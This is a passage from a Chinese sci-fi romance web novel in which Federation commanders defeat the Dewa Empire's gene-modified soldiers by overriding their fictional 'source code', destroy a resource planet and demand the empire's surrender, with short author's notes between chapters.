如果这是联邦战场最后的防线，他们都愿意用自己的血肉之躯筑成！ 李珂收回目光，深吸一口气，按下了空间迁跃模式的退出按钮！ 下一秒，所有人的眼前都出现了黑压压的德瓦哨兵大军！ 这13362个德瓦哨兵正穿着能在宇宙间空间迁跃的机甲设备，阵列在他们面前！ 裴简珩缓缓从舰长椅上站起来，直视着前方黑压压的德瓦基因战士群。 看来哪怕没有了霍华德，德瓦帝国内部还是想办法推进到了基因实验的阶段三，这些基因战士已经能和机甲进行部分融合了。 他刚才私下里联系了还在东翼战场的瑞德上将，瑞德上将简单和他说了一下战况。 在奥克斯·奴瓦辛戈被俘虏之前，东翼战场打得非常艰难。 这些基因战士的战力高到恐怖，折损在他们手里的联邦士兵不计其数！而且他们早就已经失去了自主意识，说是一具具有着高战力的行尸走肉也不为过！ 而自从奥克斯·奴瓦辛戈“失踪”以后，德瓦哨兵1军和3军陷入混乱，第二军团乘胜追击，这才勉强力挽狂澜。 而不知为何，这些原本战在第一线的德瓦基因战士，却在某个瞬间齐刷刷地退兵，悄无声息地进入了空间迁跃！ 瑞德上将不蠢，这些基因战士明摆着就是德瓦帝国的王牌战力，必定不会留在已经注定失败的东翼战场，他们的去向无非就两种：支援哨兵5军与7军，或者回到德瓦母星。 虽然瑞德上将没有明说，但裴简珩猜测，他们一定会被调去支援哨兵5军和7军，而恰好，闻铮也是这么想的。 这场战争的主要发起方只有两个人，德瓦帝国大元帅奥克斯·奴瓦辛戈，以及德瓦帝国幕僚长阿维尔·斯坦科夫。 他们虽然各自代表了德瓦帝国的激进派与保守派，但他们的目的都只有一个，就是让德瓦帝国获得胜利，以此来在联邦的崛起面前捍卫他们所谓的帝国的尊严和荣光。 奥克斯·奴瓦辛戈已经失败了，那么阿维尔·斯坦科夫一定会想方设法地赢！ 基因战士就是他们最后的王牌。 而这个王牌，今天就将折在这里，终结在同为基因战士的裴简珩手上。 在这个宇宙坐标上，在此刻，面对着黑压压的德瓦哨兵机甲，只有一艘联邦的追击舰伫立在前方， 凌风号。 这般以一挡千。 凌风号的舰桥之内，李珂也被眼前数量众多的德瓦哨兵震撼到脸色凝重，他和怀特对视一眼，都在双方眼底看到了坚定和冷厉。 拼着他们粉身碎骨，也不能让这帮德瓦基因战士抵达洛河星系战场！ 裴简珩攥紧了手心里冰凉的那一小块东西，喉头滚动了两下，声音微微沙哑：“所有人，做好迎战准备。佩珀少校，请帮我连接和对面的通讯。” 佩珀少校领命，随后摇摇头：“裴舰长，他们没有接收通讯。” “没关系，”裴简珩淡淡道，“直接发留言给他们，宣布他们有五分钟的时间，五分钟后如拒不投降，我方会直接依照联邦战时法律第三百二十一条，实行统一歼灭。” 佩珀少校顿了一下，她手上动作没停，把这条留言发了出去，但心里还是有些疑虑。 裴简珩这是在放狠话还是来真的……？ 他们就这么几十个人，怎么对这13362个德瓦哨兵——还是搭载了机甲的基因改造战士，实行统一歼灭？！ 第180章 源代码 裴简珩没有解释, 只是转头吩咐莉莉丝上尉：“一旦敌方发动攻击，听我命令再发射我们所有远程武器。” 随后，他缓缓坐在了凌风号的舰长席上, 双手拉开, 手掌之间多了一块悬浮屏。 他将手里一直攥着的那个东西拿了出来——那是一小块泛着银色光泽的金属铭牌。 银发Alpha垂眼注视了那一小块金属铭牌，眼神复杂晦涩, 难以言明。 在第四分钟的时候，整个凌风号传来了剧烈的摇晃！ 裴简珩从恍惚中清醒过来, 立刻冷静地下达命令：“全舰听令，做好剧烈颠簸准备。” 是德瓦基因战士先行开火了！ 裴简珩通过主屏幕凝视着那些已经被奥克斯·奴瓦辛戈夺去生命又制成毫无神志只能服从代码命令的德瓦基因战士, 攥紧了手里的东西。 “防护罩剩余58%！”怀特高声报告。 裴简珩闭眼，下定了决心, 他向莉莉丝上尉点头示意她将武器准备好, 随后深吸一口气, 把那块金属铭牌放在了悬浮屏上, 眼见着那块铭牌瞬间消解成无数复杂难懂的代码, 随即引入了通讯终端之后，杳无痕迹。 目睹了全过程的佩珀少校心下一惊！ 这是——这是什么？！ 李珂也瞪大了双眼, 对眼前发生的一切都难以置信：“我天……这是怎么了？！” 不怪他如此失态，凌风号舰桥上的所有人, 包括特娜伦和向星苑都震惊地无以复加！ 向星苑甚至惊讶到脱口而出：“他们——他们怎么突然停了？！” 这些德瓦基因战士机甲竟然在瞬间停下了所有攻击！ 在远程武器打过去的时候，这些机甲只是躲闪，而没有再进行任何反击！ 裴简珩却深深皱紧了眉！ 不对劲！ 他和闻铮以防万一，都向黎晓学习了如何通过源代码更改指令，但他刚刚修改了攻击指令之后，这些德瓦基因战士虽然停下了攻击，但此刻, 他通过看板却发现，他们正在自发降下机甲防护罩！ 而当机甲的防护罩被燃尽，装载于机甲之中的那些德瓦基因战士，瞬间被暴露在宇宙空间之中！ 而在毫无防护情况下，他们在宇宙之中生存不到三秒钟。 只是一眨眼的时间，原本黑压压的万人大军，现在只剩下了一片机甲碎片的残骸！ 这一切……都只发生在十秒钟之内，滔天的火光燃成了一片，在宇宙之中寂静地燃烧。 凌风号之中的所有人，看着眼前的一切，目瞪口呆！ 李珂猛地转过头去，说话都有些结巴：“裴、裴少将——不是，裴舰长——这……” 裴简珩把双手合上，悬浮屏在他手里消隐，那些密密麻麻的代码又融合成了一个新的金属铭牌，被他攥在了手里。 他没有解释，但李珂注意到他比刚刚的脸色苍白了不少，这个体能一贯强大的基因战士现在看上去甚至有几分虚弱。 他一张嘴，甚至先咳嗽了两下，似乎咽下了什么东西，方才道：“联系……悬空号。” 李珂要说什么，还是决定先执行命令，立刻向悬空号发送了机密通讯请求。 悬空号响应的很快，十秒后，第三军团之刃的身影就出现在了凌风号的主屏幕上。 舰桥上所有1215的军官们都是精神一振！ 那可是闻铮！ 第三军团之刃！ 联邦新生代的传奇人物！ 而这位传奇人物，在看到裴简珩的一瞬间，就情不自禁地从舰长席上站了起来，裴简珩也是一样。 他们隔着屏幕望向自己的爱人，千言万语，在众目睽睽之下竟然也只能说出几个字来。 裴简珩右手藏在身后，把掌心掐出了血，鲜红的血一滴一滴地落在舰长椅靠背上，他用自己的身体挡住，对着自己深爱的Omega温柔一笑：“……闻舰长。” 闻铮看着他，看着自己消瘦了不少的Alpha，眼眶几不可见地微红，他注意到了裴简珩坐在了舰长的位置上，想来是特殊情况下的临危受命，半晌才低声道：“……裴舰长。” 两个人就这样静静地望向了彼此，没有再说一个字，却好像千般爱意万种情意都尽数付与了。 通讯只维持了半分钟，就结束了。 凌风号上其他人都有些莫名其妙，根本不知道这一出到底意义何在。 而眼见通讯已经挂断，裴简珩这才仿佛被抽干了所有力气，撑在舰长席椅子扶手处借力，才能让自己勉强站立。 缓了好一会儿，裴简珩方又重新喘了一口气，他朝舰桥入口的地方刚走了两步，迎面就看到了向星苑担心的眼神。 他对向星苑温和地笑了一下，似乎在让她不要担心，同时他又把右手食指竖着放在了唇前，示意她不要出声让别人注意到，他也不想让其他人担心。 向星苑张了张嘴，只能又慢慢合上。 她担心地看着裴简珩慢慢走出了舰桥，轻轻叹了口气。 …… “我告诉过你，这对你的身体也会有损伤，你还不信。” 禁闭室里，程迹坐在里面，看见裴简珩脸色难看地走进来，摇摇头：“就算是源代码，也很难把你和其他的德瓦基因战士切分的那么干净，在篡改他们指令的时候，你也会受到影响。” “但我只能这么做。”裴简珩的声音很轻，“除非使用源代码强行接管他们身体的使用权，否则我们都得付出极大的代价才能拦住他们，甚至哪怕船上这些人都拿命去拦，也照样拦不住。” 一旦拦不住，洛河星系的战局会有翻天覆地的变化，到时候死去的生命何止千万！ 与之相比，自己此刻受的伤，又算什么呢。 程迹看着他，眼神万分复杂，半晌才叹了口气：“赫尔总吐槽闻铮死犟，我看你也没好到哪儿去。赶紧问悬空号借赫尔过来吧，不然你还能撑到什么时候？” 裴简珩脸色惨白如纸，甚至在他勉力说话的时候，唇边都有了血痕：“……不行，再等等。” 程迹：“……” 克米恩科学家百思不得其解：“还等什么？等你死了再救？！” 裴简珩摆摆手，他实在有些站不住了，顺着禁闭室的墙滑坐了下来：“德瓦基因战士已经歼灭，闻哥和阿维尔·斯坦科夫的博弈到了最关键的时候，不能分心。” 程迹这才恍然！ 如果此刻问悬空号借首席医疗官，闻铮一定猜得到是裴简珩受伤了。无论再怎么运筹帷幄天资卓越，他也是个人，爱人重伤，他分心在所难免。 而裴简珩，他在安排好凌风号舰桥的事宜之后，匆匆踏出舰桥，也是为了不让团队的人担心。 所以到了最后，他只能来到禁闭室，和自己这个被关起来的背叛者坐在一起。 程迹垂着眼，低低地笑了起来。 闻铮和裴简珩…… 联邦的新生代有这样的人在，必定会再冲上一个新的巅峰。 他忍不住想，如果他们闪耀在克米恩人覆灭之前，是不是一切也都不会发生？ 裴简珩正勉强忍着五脏六腑内传来的钝痛，那口血都快咽不住了，就听程院士蓦地出声：“裴简珩，把源代码给我。” 裴简珩一怔。 他抬眼朝程迹看去，克米恩人也凝视着他，笑了笑：“不给我，你可就真死了。” 裴简珩坐在地上，回望着这位多智近妖，阵营反复横跳的克米恩科学家，一时沉默。 半晌，他把那一小块金属铭牌丢给了程迹。 程迹接住源代码，哂然：“你这么相信我？就不怕我又背叛你们？” 裴简珩也费力地扯出一个笑：“基因改造战士都死了，只剩我一个，你最多就是用源代码把我杀了，但你就算杀了我，你想要的东西也得不到。程院士，你的智商凌驾于所有人之上，难道你看不出吗？” 程迹手里把玩着源代码，好笑地摇摇头。 他的通讯终端在被关起来的时候就被没收了，他目光逡巡了一圈，走到禁闭室墙上的灯光开关处，把开关面板一把就拽了出来，伸手进去不知道鼓捣了什么，裴简珩就看到半分钟后，程迹就接入了灯光的计算机终端。 他把源代码扔了进去，浩如烟海的代码一行一行地浮现，他一边十指翻飞，一边面上闪过一丝惊异：“霍华德居然藏了一手，他改了一小段代码，如果收到的指令有冲突，这帮德瓦基因哨兵会立刻启动自毁程序——所以你身上才会受到这么大影响！” 裴简珩这才明白过来，为什么方才他只是修改了攻击指令，这些德瓦改造哨兵居然直接自毁！原来这也是奥克斯·奴瓦辛戈和霍华德的设计！ “……说回你，你身体里也有一小部分是通过源代码调整的，否则你也早和其他实验品一样因为排异反应死了。就是通过你的实验，霍华德才调试出了源代码在人体身上的平衡点，所以我同样可以通过调整源代码来调整你的身体状况，但不能100%治愈，毕竟你不是人工智能。” 随着他的讲解，裴简珩明显感觉自己身体里那些隐痛在瞬间消失了，甚至能站起来了！ 他湛蓝色的眼底闪过一丝惊愕：“我身体里真的有源代码？！可是赫尔没有发现，就连联邦最顶尖的医生都没发现！” 程迹唇边嘲讽的弧度一闪而过：“那是融进你基因里的代码，而且只有极小的一段，用医疗手段可查不出来。” 程迹最后扫了一眼由自己在多年前的某个深夜灵光一闪写出来的源代码，这是他科学生涯中最高的成就，也是一切的起源。 他关掉了终端，那些源代码又融合成了一小块金属铭牌。 程迹握着那块铭牌，只觉得它好烫好烫，把他的灵魂都烫出了一个大洞。 令人心酸的叹息声响起，程迹垂着眼，把这块金属铭牌放在了裴简珩的手心里。 裴简珩一怔。 “我刚才用源代码确认了，你是这个宇宙间唯一一个，也是最后一个基因改造战士。”程迹看着他，不知道他算不算自己的作品，但裴简珩的存在确实对他来说意义非凡，“源代码对我来说已经毫无用处，你务必收好，这关系到你的生死。” “我用源代码暂时地修复了一些你身体的损伤，但你还是需要医疗救助，”程迹收回手，淡淡道，“撑上几个小时还是可以的，等战争结束以后记得去找赫尔挨骂。” 裴简珩攥紧了那块金属铭牌，半晌才道：“……多谢，程院士。” 程迹歪头笑了笑：“回去舰桥吧，去看闻铮如何结束这场战争。”—— 作者有话说：祝大家跨年夜快乐！！ 在今天我的存稿也正文完结了，有一种收官在2025的感觉[让我康康] 感恩一路陪伴，大家想看什么番外可以评论起来哇！《 》 180-186 第181章 闻铮！！！！ 而另一边, 德瓦总指挥战舰的舰桥上，阿维尔·斯坦科夫瞪着主屏幕上那群基因战士的刺眼火光，目眦欲裂！ “不可能……不可能……不可能！” 他根本不敢相信, 甚至失态地在所有下属面前喃喃自语, 随即又咆哮出声！ 那是奥克斯·奴瓦辛戈这么多年来的心血！ 是德瓦帝国目前最强的战力！ 怎么可能因为一艘联邦的小型追击舰，因为那么十几发鱼雷, 就这样毁于一旦？！ 眼睛都快要滴出血来，狂怒：“给我连接闻铮！立刻！！！” 德瓦通讯官哆哆嗦嗦地建立了和悬空号的通讯, 悬空号接听的还挺快。 只是三秒之后，德瓦战舰主屏幕上又出现了第三军团之刃那张让德瓦哨兵恨得想立刻把他一片一片生吃了的脸。 闻铮却对他们投来的所有剜肉刮骨的恶毒目光视若无睹, 他只是坐在他的舰长席上，脊背挺直, 目光冷然, 看见阿维尔·斯坦科夫后微微一笑：“十个小时马上到了, 德瓦帝国幕僚长, 你们考虑好了吗？” 阿维尔·斯坦科夫自从身份被闻铮戳穿后, 演也不演了，直接就将用了几十年的利切尔外表暴露于公众之中, 看向他的目光恨得要滴下毒液，一字一句：“你——你是怎么做到的？我们应用德瓦最高科技打造的最强战力的基因战士, 怎么可能被你们如此轻易地毁了！” 闻铮方才那丝未到达眼底的笑意瞬间消失：“这种科技，原本就不是属于你们的，难道你自己不知道吗？” 阿维尔·斯坦科夫原本还要说什么的尾音戛然而止！ 不知道？ 他怎么会不知道！ 多年前，他和奥克斯·奴瓦辛戈收到了情报，联邦最高科学院研究出了一种可以改造基因的技术，一旦临床试验成功，战力上浮四倍都不止！ 这对德瓦帝国来说, 简直是晴天霹雳！ 现在联邦的崛起已经让他们倍感焦灼，如果这种技术实验成功并应用…… 阿维尔·斯坦科夫立刻做出了决定。 他和德瓦皇帝陛下立了对赌，带着那时还没有独立出去的奥克斯·奴瓦辛戈杀向了克米恩星球。 屠戮了一个种族，毁灭了一个星球，他们终于拿到了那块源代码。 奥克斯·奴瓦辛戈领了这项激进的基因改造任务，在此后的这些年里在UNK-322上秘密研究，时至今日终于技术成熟，在荣耀和自傲背后，谁还会记得曾经蔓延了一个星球的鲜血。 哪怕是德瓦人，用如此卑劣的手段掠夺技术，也会在帝国内部引发争论，于是克米恩大屠杀的定义只是一场对联邦的震慑，而这项基因改造技术则变成了德瓦帝国科学院的最高成就。 谎言说过太多次，似乎就会变成自我认知的真相。 直到此刻，阿维尔·斯坦科夫才依稀回忆起来，原来这项强大到骇人的生物技术，其实不是他们自主研发的。 闻铮抬手看了一眼通讯上的时间，又居高临下地看着主屏幕上的阿维尔·斯坦科夫，缓缓道：“十个小时到了，德瓦帝国幕僚长。” 阿维尔·斯坦科夫冷笑：“闻上将，你该不会真的以为没了基因战士，我们就会缴械投降吧？” 闻铮微笑：“不然你们还有任何其他底牌吗？” “你怎么知道我没有呢？”阿维尔·斯坦科夫反问，“对自己太有自信，对我们太过轻视了吧，闻上将。” “没关系，你也不必虚张声势，有什么底牌我都不在意。”闻铮的笑容弧度越来越明显，颊边的梨涡却一点影子没有，“看来德瓦帝国幕僚长是不准备投降了。” 阿维尔·斯坦科夫道：“显而易见。” 闻铮却在手里拉开了一个大型的悬浮屏，上面聚焦的是德瓦星系的星系图。 阿维尔·斯坦科夫皱眉，显然不知道闻铮此刻在搞什么。 “德瓦星系现在的62颗殖民星里，对你们来说最重要的两颗行星，一颗当然是德瓦母星，另一颗，我想一定是西斯星吧。” 闻铮的话轻飘飘的：“德瓦母星资源稀缺，你们没有了西斯星，就没有了锂导矿，而缺乏锂导矿，你们向外进行军事扩张的难度就会大大增加。” 阿维尔·斯坦科夫被他说得莫名其妙：“你到底在说什么？” 他有意忽视了，此刻心底泛上来的，浓浓的不安。 “没什么。”闻铮神色淡淡，“只是如果你现在不投降，我就把西斯星从宇宙间彻底抹除，要试试吗？” 一瞬间，阿维尔·斯坦科夫还以为自己听错了，或者是通用翻译器出了什么问题——不对，这么多年来，联邦语已经和他的母语差不多了，他没听错！ 下一秒，他大笑出声！ “哈哈哈哈！闻上将，你太过狂妄了吧？” 转瞬，他又神情阴鸷下来：“彻底毁灭一颗行星？你们有人类有一句话叫什么来着……哦对，痴人说梦！” 毁灭一颗行星需要多么恐怖的能量？虽然西斯星上除了德瓦哨兵之外已经没有其他生命体的存在，只有机器人在一刻不停息地开采，但那些留守的德瓦哨兵也不是摆设！ 如果联邦真的有这种打算，大规模的行动不可避免，肯定藏不住踪迹，早就被德瓦哨兵发现了，怎么可能任由他们布防！ 闻铮那张冰冷艳丽的脸上却没有丝毫笑意，只是静静地、居高临下地、隔着屏幕看着他，直到阿维尔·斯坦科夫在他的眼神里慢慢停声，惊疑未定地予以回望。 “你不需要知道我们将会如何做到，”闻铮那双漆黑的鸦羽轻颤，眼底没有一丝温度，“德瓦帝国幕僚长阿维尔·斯坦科夫，联邦四星上将闻铮，代表联邦星际军部，正式向你发问——” “德瓦帝国，是否投降？” 阿维尔·斯坦科夫眉头蓦地沉了下去，语气冷厉：“德瓦哨兵，绝不投降！” 第三军团之刃坐在他的舰长席上，十分平静地说了六个字：“那么，我很遗憾。” 阿维尔·斯坦科夫的心在这一瞬间抖了起来，不知道为什么，他心里慌得厉害，似乎有什么超过他意料之外的东西猛地倾巢而出，让他险些呼吸不上来！ 闻铮微微颔首，声音冷硬似刀：“动手。” 阿维尔·斯坦科夫瞳孔紧缩，厉喝：“防护罩确保100%开启！” “是！已开启！” 然而他们的防御准备似乎白做了，在这片洛河星系的宇宙中，什么都没有发生。 而阿维尔·斯坦科夫心里那种不妙的预感却越来越强。 他脑海里闪过刚刚闻铮说过的话，那时他不屑一顾，现在却不得不心有疑虑，猛地转向德瓦通讯官：“给我联系西斯星哨兵所！” 德瓦通讯官立刻操作，却迟迟得不到接听。 阿维尔·斯坦科夫的一颗心猛地下坠。 半晌，德瓦大副却不顾场合的尖声咆哮！ 所有人都循声看去，德瓦大副踉跄着把手里的悬浮屏投掷到主屏幕上，德瓦战舰舰桥上的所有德瓦哨兵都瞪大了眼睛！ ——那颗承载着德瓦帝国所有科技动力和能源支持的西斯星所在的周围空间都在发生扭曲，一道极度刺眼的光柱从西斯星的地核中心射|出，从射|出点开始，那块区域瞬间变为白炽状态，那条分割了整个西斯星的裂缝在眨眼间蔓延至整个星球，红色的光芒在星球表面迅速扩散！ 舰桥上所有德瓦军官都惊呆了。 阿维尔·斯坦科夫猛地冲到了主屏幕前，目眦欲裂！ “——不可能！不不不不！” 但西斯星的毁灭进程不会因为他的话而中断，他眼看着那颗对德瓦帝国而言最重要的资源星越来越膨胀，脑海里的那根弦在瞬间崩断！ “闻铮！！！！” 他的声音嘶哑尖利，那张闻铮看了几十年的脸上，第一次出现如此癫狂的神色！ 他怒目而视，看上去恨不得把闻铮一寸一寸地吃下去！ 而闻铮却岿然不动，只是微扬下颌：“德瓦帝国幕僚长，我方才已经通知过你不投降的后果，现在后悔，晚了。” 德瓦战舰舰桥的主屏幕上被一分为二，左边是悬空号的舰桥，右边是西斯星的毁灭。 那颗被德瓦帝国强行侵占殖民的资源星，就在此刻终结。 阿维尔·斯坦科夫眼睁睁地看着那颗星球在膨胀到极致后，倏地发生了惊天动地的爆炸！ 这一幕如此壮烈，又如此寂静。 不过是眨眼之间，西斯星已经爆炸坍塌成一团不断膨胀的、由无数熔岩碎屑、岩石与尘埃组成的炙热星云。 原本还是一颗行星的坐标处，如今只剩下了一片残骸带。 这片残骸带，成为了第三次星际战争永恒的墓碑。 而紧挨着西斯星的残骸之旁，是联邦的第三军团之刃那张瘦削冷俊的脸。 阿维尔·斯坦科夫那双眼睛里几乎要滴下血来，他一棱一棱地把脸转向闻铮，每一个字都淬血：“你……毁了、我们赖以生存、的、资源星！” “显而易见。” 闻铮面无表情，他看着阿维尔·斯坦科夫那张已经是人类的脸上显露出的滔天恨意，心里却在这一瞬间十分平静。 硬逼着自己接受了所谓的“背叛”之后，他再看着这张脸，一时之间竟然也没有其他的感受了。 “我会再问你一次，如果你仍不投降，下一个从宇宙间彻底毁灭的星球，就会是你们的德瓦母星。” 闻铮双手交叉，放在面前的桌面上，缓缓问道：“德瓦帝国幕僚长，闻铮谨代表联邦星际军部，再次正式向你发问——” “德瓦帝国，是否投降？”—— 作者有话说：大家元旦快乐[加油][加油] 第182章 你敢赌吗？ “……不, 不可能。”阿维尔·斯坦科夫怒极反笑，“母星的防御系统不是西斯星一个采矿星能比的，你们不可能以同样的手段毁了它！闻铮！你别想骗我！” 闻铮不语, 双手打开, 在他双手之间的悬浮屏上有一颗棕色的星球，那是德瓦母星的实时图。 他就那么坐在舰长席上, 坐在那颗德瓦母星实时模型之后，一整个星球的命运似乎就在他的双手翻覆之间。 “你敢赌吗？” “……” 所有德瓦军官, 皆都骇然地望向了闻铮！ 他到底说的是真的还是假的？ 真的会有这种在眨眼间就毁灭了一个星球的恐怖武器吗？ 可刚刚化为乌有的西斯星，却由不得他们不信！ 不！ 不对！ 母星、母星怎么可能被这么轻易地渗透进去！ 母星和西斯星那种采矿星怎么可能一样！ 可…… 他们敢赌吗？ 如果他们赌输了, 如果母星真的被联邦渗透了，那他们…… 这些思量, 阿维尔·斯坦科夫当然也都想到了。 但投降两个字, 他也说不出来。 他殚精竭虑几十年, 忍辱负重几十年, 怎么可能接受自己半生的筹谋一个接一个的落空！ 基因退化失败了, 还被扶植的傀儡摆了一道； 想杀的人没杀成，一生追求的事业也就此败落。 他怎么可能接受自己的一败涂地、帝国的一败涂地！ 阿维尔·斯坦科夫双手撑在操作台上, 脸庞笼罩在阴影里，让旁人都看不清他的神色, 闻铮当然也看不到。 但闻铮不着急，他只是坐在他的舰长席上，泰然自若地，等。 过了好一会儿，阿维尔·斯坦科夫才慢慢地抬起脸来，那张已经是人类的脸上展现出一片死寂，半晌才道：“我需要联系母星。” “请, ”闻铮道，“我再宽限你十分钟。” 说完，他先一步关掉了通讯。 悬空号的舰桥上，凯利斯低声问自己的舰长：“您真的要给他十分钟的时间和母星确认？” “以他的性格，如果得不到确凿的消息，是不会认命的。”闻铮垂眼，脸上没有什么表情，“简珩潜往德瓦母星的时候应该是借用的奥克斯·奴瓦辛戈的身份，那个时候他被俘虏的消息还没有传回德瓦母星，在这种信息差的情况下，他进去会容易很多。” “但如果阿维尔·斯坦科夫现在回过头去查，他就会发现，在奥克斯·奴瓦辛戈失去音讯之后，这位德瓦帝国的大元帅阁下，竟然能神奇地出现在德瓦母星，又在几小时后匆匆离开。” 这位德瓦帝国的幕僚长又不蠢，他立刻就会知道，是联邦的人不知如何伪装了奥克斯·奴瓦辛戈的身份潜入了德瓦母星！ 具体做了什么，十分钟的时间内他肯定查不到。 就是因为查不到，他心里才会更害怕。 但只要他心里种下了疑虑的种子，投鼠忌器，他就不敢拿整个德瓦母星去冒险！ 闻铮要的就是这一个不敢！ 否则，西斯星的毁灭还近在眼前，他敢赌吗？ 就算他敢，德瓦皇帝敢吗？ 德瓦哨兵不能长久地离开德瓦母星，无论背后到底藏着怎样的秘密，但这也就决定了他们无法割舍这颗荒芜的星球。 投鼠忌器，就必定黔驴技穷。 闻铮右手食指在椅子扶手上敲打了两下，这场战争的开始是因为段家，而某种意义上，它的结束竟然也是因为段家。 闻上将把脑海里段家的想法挥走，吩咐凯利斯把洛河星系的战力分布图投在主屏幕上，虽然他有信心阿维尔·斯坦科夫一定会投降，但他还是要做好最差的准备——万一阿维尔·斯坦科夫硬是要拼死一搏，他们不能输。 主屏幕上立刻出现了战力实况图，德瓦哨兵5军和7军正被第三军团、洛河星系护卫军、7号星自卫军和36艘德瓦战舰而包围，而在西南角，有一艘联邦追击舰迎着一万多具德瓦基因战士的机甲残骸孤零零地伫立。 闻铮凝视着西南角，倏地出声：“通讯副官，联系凌风号，让他们开启凌风号的自动接管系统，全舰人员立刻相位穿梭到悬空号上来。” 通讯副官立刻执行命令。 凌风号已经将那些德瓦基因哨兵歼灭了，所有人都只觉得是个奇迹——怎么十几发鱼雷就能将这些战斗力惊人的基因战士彻底消灭？！ 但只有闻铮、裴简珩，或者最多再加一个程迹，他们三个才知道，德瓦基因战士的溃败是因为源代码在裴简珩手里。 在从UNK-322星的德瓦实验基地离开之后，程迹顶替霍华德，伪造了一版源代码秘密传给了奥克斯·奴瓦辛戈，以打消他对基因战士可能存在的疑虑，这样才能将计就计。 而闻铮方才也请凯利斯亲自将源代码交给了裴简珩。 一来，闻铮认为从战局考虑，从德瓦母星赶来的凌风号在动线上更适合拦截从东翼战场赶来的德瓦基因战士。 二来，裴简珩是被奥克斯·奴瓦辛戈改造后，唯一一个人类幸存者，这个源代码也关系着他的生命。 除了裴简珩自己，没有人能掌握他的生命，哪怕是闻铮。 闻铮将所有事情都据实以告，也就只有关于源代码的事，闻铮连艾德莱斯都只字未提。 而裴简珩确实做到了，13362个德瓦基因改造战士，不曾有一个踏进洛河星系！ 只是现在再去看战力实况，在德瓦基因战士被歼灭以后，凌风号所在的西南角，却成了联邦兵力最薄弱的地方，如果阿维尔·斯坦科夫决心突围，一定会首选西南角。 凌风号是追击舰，不是战舰，如果被德瓦战舰集中火力攻击，在悬殊的战力面前，绝对撑不住十分钟，星舰上的所有人都会死！ 闻铮一想到这个可能性，心尖就万般绞痛，哪怕只是0.0001%的可能性，他也要未雨绸缪！ 他要把凌风号上的所有人都相位穿梭回来，再派三十艘第三军团的战舰隐形潜行过去布防，这样才能降低所有风险。 更何况，在最终的结局到来之前，他希望能和自己的爱人、联邦的新希望，并肩相迎。 通讯副官抬头报告：“报告舰长，已和凌风号取得联系，凌风号全体成员会在一分钟内分两批抵达悬空号三号甲板。” 闻铮颔首：“请裴舰长抵达后第一时间到悬空号舰桥报道。” “明白，”通讯副官道，“裴舰长已回复收到。” 闻铮的一颗心，终于晃晃悠悠地落回了胸口，就连竖着耳朵听着的凯利斯大副，也舒了口气。 终于都还是囫囵个儿的相见，已经是这个局势下最好的情况了。 在距离十分钟期限还有最后一分钟的时候，戈维的声音在舰桥上响起，带着几分惊喜和激动：“闻舰长，裴中……裴少……裴舰长申请进入舰桥。” 闻铮听到戈维卡了两次才叫对裴简珩的头衔，也忍不住唇角轻挑。 他的Alpha，马甲倒是不少。 闻铮道：“请求允许。” 他坐在转椅上转过去，正好撞入了那一片湛蓝色的温柔海洋。 闻铮攥紧扶手，慢慢地站起来，那双漆黑如墨的眼睛里情绪万千，滔天的爱意、思念、担忧……都在看到这个人活生生地站在眼前的时候倾巢而出。 而裴简珩，自从踏上悬空号舰桥的一瞬间，眼睛就没从闻铮身上移开过。 闻哥瘦了……又瘦了，那些在首都星那短短几个星期被他养出来的一点肉，在分开的这段时间里又迅速地掉了回去。 他的眼底也有一些乌青，看得出来他的睡眠又开始出现问题，这段时间想必一定没睡上几个好觉。 他们的最终标记烙印在彼此的灵魂之上，每次微微发热的时候，都能感受到对方的情绪波动，冥冥之中也给他们带来了一丝确信——都还活着，还能再见。 而到了最终相见的这一刻，两人竟也只能站在舰桥上遥遥相望，众目睽睽之下，连一个拥抱都不可放任。 半晌，裴简珩声音沙哑地先行开口：“闻上将，裴简珩向您报道，凌风号接到的所有任务，均已完成。” 闻铮喉头也有些干涩，缓缓道：“做得很好，裴舰长，欢迎来到悬空号。” 他们最后对视了一眼，随后都转向了主屏幕，裴简珩站到了闻铮舰长席后半个身位的地方。 十分钟到了。 闻铮对通讯副官微一颔首：“请连接和德瓦总指挥战舰的通讯。” 下一刻，通讯接通。 阿维尔·斯坦科夫那张已经无法恢复德瓦人种的人类面孔出现在主屏幕上，脸色灰白，神情恍惚。 闻铮只一眼，就知道，他已经和德瓦母星联系过了，也得到了想知道的信息。 果不其然，阿维尔·斯坦科夫死死地盯着闻铮，一字一句：“你们伪装成奥克斯·奴瓦辛戈，潜入了我德瓦母星。” 闻铮哂然，微微错身，让阿维尔·斯坦科夫能看到他背后的裴简珩：“你们引以为傲的母星，也没有多么铜墙铁壁，裴舰长从潜入到离开，都没有超过两个小时。” 裴简珩看着那张曾经属于利切尔的脸，一时之间也是百味交杂。 闻铮又转了回来，他眉眼锋利冷峻，面上没有一丝笑意，冷冰冰地正色道：“德瓦帝国幕僚长阿维尔·斯坦科夫，联邦四星上将闻铮，代表联邦星际军部，最后一次向你发问——” “德瓦帝国，是否投降？”—— 作者有话说：恭喜闻哥和小裴重逢！！！[加油][加油][加油] 第183章 投降 不投降, 又能怎样呢？ 阿维尔·斯坦科夫脸色青白，他死死地盯着屏幕上闻铮的脸，那两个字却宛如一块巨石卡在喉咙, 一个字也发不出来。 他和奥克斯·奴瓦辛戈密谋了这么多年的阴谋和武器, 最后一个接一个地被联邦、被闻铮摧毁，如今就连德瓦母星, 都被埋下了足以毁灭一整个星球的毁灭性物质—— ——他倒是不想投降，他能吗？他敢吗？！ 阿维尔·斯坦科夫看着舰桥上的玻璃倒影中映出来的自己的脸, 如此苍白，和整个德瓦哨兵和德瓦帝国格格不入。 他做了第一个改变基因的德瓦人, 成为人类几十年，潜入了联邦军部, 一直忍到如今, 自觉时机成熟胜券在握, 方才毅然决然, 孤注一掷！ 却没想到, 依然是，一败涂地。 他将目光从玻璃倒影上移回到主屏幕上, 闻铮那张瘦削俊美的脸，不期然让他想到了几十年前。 闻铮的脸型长得像闻衍之, 五官却更像沈亦映。 他早就盯上了这对从首都星退下来的军官夫妻，也早就把他们当做了在联邦军部内往上爬的可利用对象，所以搬到他们隔壁的房子，和他们熟稔起来、得到他们的信任，一早就是他心怀不轨的目的。 阿维尔·斯坦科夫一直不愿意去深思，也不愿意承认，他作为利切尔的几十年来, 也确实有一些算得上轻松愉快的日子，尤其在沈亦映和闻衍之的孩子出生以后。 联邦和人类的感情很神奇，对崇尚武力征服和威压的德瓦哨兵来说，这些联结和情感显得十分脆弱与天真，而真当他置身其中的时候，却又觉得……有一种难以言说、难以割舍的温暖和眷恋。 只是再多这样的感受，在帝国的荣耀和家族的未来面前，都显得那么地不值一提。 